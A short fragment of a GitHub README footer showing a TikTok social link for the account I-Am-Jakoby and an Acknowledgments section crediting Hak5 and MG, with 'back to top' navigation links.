|
||||
<td align="center" width="96">
|
||||
<a href="https://www.tiktok.com/@i_am_jakoby?lang=en">
|
||||
<img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/raw/main/img/tiktok.svg width="48" height="48" alt="Jsonnet" />
|
||||
</a>
|
||||
<br>TikTok
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
|
||||
<!-- ACKNOWLEDGMENTS -->
|
||||
## Acknowledgments
|
||||
|
||||
* [Hak5](https://hak5.org/)
|
||||
* [MG](https://github.com/OMG-MG)
|
||||
|
||||
<p align="right">(<a href="#top">back to top</a>)</p>
|
||||
Loading…
Reference in a new issue